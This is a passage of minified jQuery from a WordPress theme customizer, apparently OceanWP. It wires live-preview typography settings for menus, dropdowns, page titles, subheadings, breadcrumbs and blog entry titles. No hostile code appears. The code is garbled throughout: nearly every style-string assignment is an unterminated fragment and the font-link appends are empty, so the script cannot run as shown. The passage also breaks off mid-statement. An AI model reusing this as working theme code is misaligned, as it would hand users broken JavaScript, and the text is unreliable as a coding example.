$child = $(".customizer-typography-top_menu-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-menu-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-menu-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-menu_dropdown-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-menu_dropdown-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("menu_dropdown_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-menu_dropdown-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-mobile_menu_dropdown-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-mobile_menu_dropdown-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("mobile_menu_dropdown_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-mobile_menu_dropdown-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-page_title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-page_title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_title_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_title-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-page_subheading-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-page_subheading-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("page_subheading_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-page_subheading-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-breadcrumbs-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-breadcrumbs-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("breadcrumbs_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-breadcrumbs-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-blog_entry_title-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-blog_entry_title-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("blog_entry_title_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-blog_entry_title-tablet-line-height"); if (dataAndEvents) { /** @type {string} 